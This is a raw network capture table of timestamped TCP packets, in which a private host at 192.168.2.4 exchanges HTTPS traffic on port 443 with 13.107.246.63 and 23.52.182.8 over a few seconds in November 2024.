Nov 28, 2024 13:10:14.859195948 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.859318972 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.859318972 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.859334946 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.859492064 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.903364897 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.903393030 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.903485060 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.903501987 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.903584957 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.912655115 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.912720919 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.912861109 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:14.917041063 CET	49805	443	192.168.2.4	23.52.182.8
Nov 28, 2024 13:10:14.917063951 CET	443	49805	23.52.182.8	192.168.2.4
Nov 28, 2024 13:10:14.994354010 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.994394064 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:14.994529009 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.994837046 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:14.994849920 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.040285110 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.040316105 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.040352106 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.040365934 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.040389061 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.040404081 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.074512959 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.074546099 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.074587107 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.074598074 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.074645042 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.074666023 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.094849110 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.094881058 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.094939947 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.094947100 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.094985962 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.095005989 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.112375975 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.112400055 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.112463951 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.112471104 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.112509012 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.112529993 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.235457897 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.235490084 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.235558033 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.235570908 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.235605001 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.235615015 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.251921892 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.251945972 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.252034903 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.252043009 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.252073050 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.252094030 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.267785072 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.267807007 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.267878056 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.267885923 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.267931938 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.267951965 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.283560991 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.283581018 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.283665895 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.283675909 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.283714056 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.297332048 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.297353029 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.297435045 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.297442913 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.297616005 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.309833050 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.309894085 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.309910059 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.309922934 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.309935093 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.309947968 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.309988022 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.524662018 CET	49802	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.524696112 CET	443	49802	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.785490036 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.785579920 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:15.785672903 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.787038088 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:15.787053108 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.162225008 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.162930965 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.162965059 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.163465977 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.163474083 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.292007923 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.292663097 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.292686939 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.293210030 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.293220043 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.440229893 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.441107035 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.441143990 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.441672087 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.441678047 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.443008900 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.443413019 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.443432093 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.443897009 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.443902969 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.468570948 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.469079018 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.469108105 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.471087933 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.471095085 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.597882986 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.597950935 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.598077059 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.598378897 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.598378897 CET	49807	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.598397017 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.598406076 CET	443	49807	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.601824999 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.601859093 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.602025032 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.602346897 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.602356911 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.737468958 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.737540960 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.741321087 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.741404057 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.741421938 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.741497993 CET	49808	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.741503000 CET	443	49808	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.744498014 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.744534969 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.744868994 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.744868994 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.744903088 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.841455936 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.841718912 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.841742039 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.842766047 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.842883110 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.843158960 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.843235016 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.843409061 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.887751102 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.887825012 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.888401985 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.888401985 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.888483047 CET	49812	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.888495922 CET	443	49812	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.891336918 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.891509056 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.891544104 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.891834974 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.891834974 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.891865969 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.895522118 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.895533085 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.899869919 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.899926901 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.900146961 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.900147915 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.900290966 CET	49809	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.900305033 CET	443	49809	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.902931929 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.902956963 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.903048992 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.903206110 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.903219938 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.917870045 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.917927027 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.918206930 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.918207884 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.918284893 CET	49813	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.918299913 CET	443	49813	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.921008110 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.921030998 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.921156883 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.921372890 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:16.921386003 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:16.944854975 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.352514029 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352539062 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352554083 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352617025 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352627993 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352631092 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352647066 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.352647066 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.352684021 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352699995 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.352711916 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.352785110 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.393990993 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.549598932 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.549612045 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.549643040 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.549654961 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.549681902 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.549700975 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.549737930 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.549756050 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.571703911 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.589364052 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.589380026 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.590517998 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.590605021 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.592732906 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.592813969 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.592921019 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.602682114 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.602693081 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.602794886 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.602797985 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.602833033 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.602844000 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.602874041 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.635334015 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.637191057 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.637262106 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.637276888 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.637290955 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.637316942 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.637362957 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.643825054 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.643835068 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.648232937 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.648255110 CET	443	49814	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:17.648269892 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.648296118 CET	49814	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:17.695519924 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.069420099 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069447994 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069457054 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069485903 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069502115 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069514990 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069565058 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.069592953 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.069612026 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.071083069 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.257371902 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.257385969 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.257402897 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.257431030 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.257452011 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.257467031 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.257515907 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.301378012 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.301393986 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.301417112 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.301449060 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.301456928 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.301501989 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.301522970 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.435008049 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.435044050 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.435101032 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.435127020 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.435143948 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.435172081 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.451031923 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.462455988 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.462482929 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.462997913 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.463004112 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.471627951 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.471648932 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.471704006 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.471714973 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.471745014 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.471765041 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.489469051 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.489490032 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.489543915 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.489577055 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.489593029 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.489641905 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.509752035 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.509772062 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.509835005 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.509848118 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.509876966 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.509896040 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.524373055 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.525217056 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.525252104 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.526072025 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.526079893 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.630590916 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.630619049 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.630666971 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.630678892 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.630723000 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.637733936 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.638222933 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.638245106 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.638708115 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.638715029 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.646567106 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.646594048 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.646673918 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.646680117 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.646740913 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.662131071 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.662147999 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.662247896 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.662256956 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.662301064 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.675618887 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.675636053 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.675698996 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.675705910 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.675755024 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.675930023 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.677839994 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.677859068 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.678417921 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.678422928 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.691001892 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.691020012 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.691071033 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.691077948 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.691088915 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.691118956 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.693216085 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.693273067 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.693401098 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.693627119 CET	49815	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.693638086 CET	443	49815	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.754844904 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.756082058 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.756102085 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.756849051 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.756855011 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.905510902 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.905576944 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.905798912 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.906091928 CET	49816	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.906110048 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.906119108 CET	49816	443	192.168.2.4	13.107.246.63
